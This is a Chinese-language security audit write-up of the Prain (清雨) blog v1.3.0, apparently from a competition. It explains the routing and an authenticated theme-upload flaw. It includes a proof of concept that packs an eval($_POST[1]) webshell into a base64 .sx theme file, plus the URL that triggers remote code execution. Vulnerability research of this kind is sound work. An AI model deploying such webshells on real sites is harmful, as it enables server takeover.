Prain清雨博客v1.3.0审计
某比赛里面出现的一道题目
赛时都花时间在做渗透上面了 今天抽出点时间来看看
路由
这个是一个极度轻量化的博客框架 所有的路由控制都在index.php这一个文件里面
首先调用他定义的get方法
这里我们访问的是/目录 为空 默认为index
使用$_SERVER[‘REQUEST_URI’]获取访问的路由
一系列的匹配之后 返回了XDEBUG_SESSION_START=18778这个值
后面就是一系列包含文件 检验安装的操作
然后进到switch里面 查询是否有匹配的路由 存在则反感会页面 否则返还404
比如index 访问/?index
这里显然不存在这个文件 返回空
后台插件rce漏洞
该漏洞需要登录 漏洞点出现在?import路由
这个是一个上传主题的地方 这个博客允许上传自定义主题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'sx'){ $itype = get(1,'str','system'); $sx = file_get_contents($_FILES['file']['tmp_name']); !preg_match('/\s*#\s*Id:\s*(.+)/', $sx, $id) && err('应用缺少Id'); !preg_match('/^[a-zA-Z]+[a-zA-Z0-9_-]+$/',$id[1]) && err('应用Id格式不正确'); !check($id[1],'length',1,30) && err('应用Id长度限制1-30'); !preg_match('/\s*#\s*Type:\s*(.+)/', $sx, $type) && err('应用缺少Type'); if($type[1] !== 'tpl' && $type[1] !== 'ext' && $type[1] !== 'system') err('应用Type不正确'); if(preg_match('/\s*#\s*Limit:\s*(.+)/', $sx, $limit)){ $v1 = str_replace('.','',$limit[1]); $v2 = str_replace('.','',V); if((int)$v1 > (int)$v2) err('你的清雨版本太低,无法安装使用,需要升级到v'.$limit[1].'及以上'); }
|
这里限定了上传的文件后缀必须是sx 文件内容需要包含
Id Type Limit几个标识符 校验通过之后调用unsx去解析
注意到这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| if(count($arr) === 1 && substr($arr[0],0,3) === 'SX.') $arr = explode("\n",base64_decode(substr($arr[0],3))); foreach ($arr as $v) { preg_match('/^\[(dir|file)\s(.*?)\](.+?)$/', $v, $m); if($m){ $f = str_replace('\\','/',$m[2]); if(substr($f,0,1) === '/' || stristr($f,'..') !== false) continue; if($m[1] == 'dir'){ $util->createDir($path.$f); }elseif($m[1] == 'file'){ $value = str_replace(['_@rn@_','_@r@_','_@n@_','_@_'],["\r\n","\r","\n",'@'],$m[3]); $util->createFile($path.$f,$value); } } }
|
这里实际上就查找了SX.开头的哪一行 然后将后面的内容base64解析 将几个关键词替换成\r\n 然后基本上没处理 传入了createFile里面
这里就是直接创建了一个文件 文件名前面的ROOT控制 文件内容由刚刚传入的那个base64文件控制
我们下载官方的主题文件看看(base64解码后)
1 2 3 4
| [file conf.php]<?php_@n@_return array (_@n@_ 'id' => 'default',_@n@_ 'type' => 'tpl',_@n@_ 'author' => 'éªæ´',_@n@_ 'name' => 'é»è®¤ä¸»é¢',_@n@_ 'intro' => 'å®ç½é»è®¤ä¸»é¢ã',_@n@_ 'price' => 0,_@n@_ 'home' => 'https://xueluo.cn',_@n@_ 'version' => '1.1.0',_@n@_ 'limit' => '1.2.0'_@n@_);_@n@_?> [file footer.php]<?php exit('404');?>_@rn@_ </div>_@rn@_ <div class="footer">_@rn@_ <div class="footer-left">_@rn@_ <span>© 2021 <a href="/" class="a-line">{$conf.name}</a> All Rights Reserved.</span>_@rn@_ <span>å¼æºç³»ç» - <a href="https://prain.cn" target="_blank">æ¸
é¨v{ [file header.php]<?php exit('404'); ?>_@rn@_<!DOCTYPE html>_@rn@_<html lang="zh-Hans">_@rn@_<head>_@rn@_ <!-- hook.head_header -->_@rn@_ <meta http-equiv="Content-Type" content="text/html" charset="UTF-8" />_@rn@_ <title>{$conf.title}</title>_@rn@_ <meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no" />_@rn@_ <meta name="keywords" content="{$conf.key}" />_@rn@_ <meta name="description" content="{$conf.desc}" />_@rn@_ <!-- hook.meta -->_@rn@_ <link rel="shortcut icon" href="{#LIB_STYLE}logo.svg"/>_@rn@_ <link rel="stylesheet" href="{#LIB_STYLE}fk.css"/>_@rn@_ <link rel="stylesheet" href="{#TPL_STYLE}main.css?v={#time()}"/>_@rn@_ <!-- hook.css -->_@rn@_ <script src="{#LIB_STYLE}common.js"></script>_@rn@_ <script src="{#TPL_STYLE}main.js"></script>_@rn@_ <!-- hook.script -->_@rn@_ <!-- hook.head_footer -->_@rn@_</head>_@rn@_<body>_@rn@_ <!-- hook.body_header -->_@rn@_ <div class="header">_@rn@_ <div class="header-title"><img src="{ [file icon.png]PNG_@rn@__@n@_
|
第一个会写入到对应的tpl路由下
由于这个路由写在都是index内 使用?index访问 而其他文件如果知道位置就可以直接访问
如果把文件改成
1
| [file conf.php]<?php_@n@_eval($_POST[1]);_@n@_return......
|
就能访问对应的路由完成rce
poc
需要登录
1 2 3 4 5 6 7 8 9 10 11 12 13
| # 清雨应用文件 # Id: default1 # Type: tpl # Name: 默认主题 # Intro: 官网默认主题。 # Price: 0 # Home: https://xueluo.cn # Author: 雪洛 # Version: 1.1.0 # Limit: 1.2.0
SX.插入shell语句后的base64
|
上传后访问
1
| http://url/tpl/default1/conf.php
|
成功rce
他的密码直接写在了config这个变量上 然后所谓登录就是取hash比较一下 这个过程没找到能直接绕过的地方 应该是要配合其他方法才能利用这个漏洞